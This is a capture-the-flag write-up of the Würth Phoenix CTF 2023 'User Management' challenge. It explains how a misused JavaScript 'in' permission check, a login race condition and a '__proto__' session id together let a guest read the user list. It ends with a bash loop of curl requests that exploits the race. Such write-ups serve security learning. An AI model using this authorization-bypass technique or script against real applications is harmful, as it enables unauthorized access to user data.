WPCTF2023 Würth Phoenix CTF 2023 writeup of User Management

Würth Phoenix 2023 Writeup

The 2023 edition of the Würth Phoenix challenge went great for our team Pearàk, winning the competition.

Among the multiple challenges that we solved, one we enjoyed one in particular, and we also were the only one to solve it.

So here is the writeup.

User Management

The challenge presents with a login page where you can register. From a first analysis of the code (that fortunately we had access to) we could see that there were 3 users:

const insert = 'INSERT INTO user (name, surname, password, enabled) VALUES (?,?,?,?)';
db.run(insert, ["admin","admin",crypto.randomBytes(20).toString('hex'),0])
db.run(insert, ["anyone","anyone","anyone",1])
db.run(insert, ["flag",FLAG,crypto.randomBytes(20).toString('hex'), 0])

As it can be seen, the only account that we can use is “anyone” with password “anyone”. The other accounts we can not use it for two reasons, first they are not enabled, and second we don’t know the password (nobody does, anyway).

It’s also clear that the flag is in the surname field of the “flag” user, that however we can not use it.

From an analysis of the code we also see that there is no possibility to do SQL injection. We need to invent something else!

We also see that there is an user privilege mechanism:

exports.PERMISSION = {
    ADMIN: 0,
    GUEST: 1,
}

db.run(`CREATE TABLE permissions (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    name text UNIQUE,
    permission integer, 
    CONSTRAINT name UNIQUE (name)
  )`,
  (err) => {
      if (!err) {
          // Table just created, creating some rows
          const insert = 'INSERT INTO permissions (name, permission) VALUES (?,?)';
          db.run(insert, ["admin",0])
          // db.run(insert, ["anyone",1])
          db.run(insert, ["flag",1])
      }
  }); 

As it can be seen, the “flag” user has no permission at all (we will see why this is important later!).

First intuition

We see that we can call this API to retrieve the information of all the users:

app.get("/api/users",async (req, res) =>{
    if(
        req.session.user && session_manager.PERMISSION.ADMIN in req.session.user.permission
    ){  // check if users has session_manager.PERMISSION.ADMIN
        db.all("SELECT id, name, surname, permission, '***' as password FROM user", (err, users)=>{
            res.json({
                success: true,
                users: users
            });
        });
    }else{
        res.status(401).json({
            success: false,
            error: "Unauthorized"
        });
    }    
})

We stared at this code for too much time without seeing the issue. Can you spot it?

Let me hint something to you, if you did uncomment the insert at the previous chapter of the permission this code would have validated the user as an admin! How you say? The code did only tell you that the user was a guest.

Well… what does the in operator to in JavaScript? Not what you expect! It checks that the specified key is in the array. In this case the key 0. Thus, this check will pass not only for admin users, but for users whom the permission array is not empty!

Second vulnerability

Well, but we can’t do nothing. Because, we seen that the permission array of the user was empty, at the previous chapter. Are you sure about that? Let’s see how an user is created:

app.post('/login', async(req, res) => {
    db.all("SELECT * FROM user WHERE name=? AND enabled=1", [req.body.username], (err, users)=>{
        // omitted password check. No vulnerability is there! 

        req.session.user = {
            name: user.name,
            surname: user.surname,
            permission: [session_manager.PERMISSION.GUEST], // default no permission
            id: user.id,
        }

        // HERE!!!

        db.all("SELECT * FROM permissions WHERE name=?", [req.body.username], (err, permissions)=>{
            req.session.user.permission = permissions.map((p)=>p.permission) || [];
        })

        res.json({
            success: true
        });
    });
});

As you can see, first the session of the user is first created with a permission array initialized with a guest element. For the broken check at the previous chapter, we can say for sure that if we would have called the API /api/users in that particular point of the flow of execution, the API would have returned US the user list!

So… basically it’s a race condition!

Exploit

So we could have a thread that continues logging in the anyone user, and another thread continuing calling the /api/users API, and we would have a moment where the call would return, since the second SQL query does indeed block the request handler and may unlock the handling of the request of the other call.

We have only one last issue to address. The session generation! How can we make sure that we use always the same session token? Well, simple enough. If you see the session id is not reset when the user logs in, indeed the session ID of the request is used if provided in the cookie.

We just have to make sure that the two threads use the same session ID to make this work. Since the session ID is just a key in a JS object, we can just use a property that for sure is present in an object (like __proto__). I initially seen it as a potential third vulnerability, but now that I think of it it was not strictly necessary, we could have just have invoked /login once, got the session token and then used it for the two threads.

Here is an ugly crafted bash script to exploit it (yes, it’s a terrible hack, but it works!):

# login request thread
(while true; do curl http://$1/login -H 'Content-Type: application/json' -d '{ "username": "anyone", "password": "anyone" }' -H 'Cookie: session_id=__proto__; Path=/' 2>/dev/null >/dev/null; done) &

# api users thread
while true; do
  curl http://$1/api/users -H 'Cookie: session_id=__proto__; Path=/' 2>/dev/null | grep flag
done;

In less than a second the race condition is triggered and we got the flag!

Conclusion

The Würth Phoenix CTF was a very fun event, and we want to thank al the organizers for the great time and prizes we had!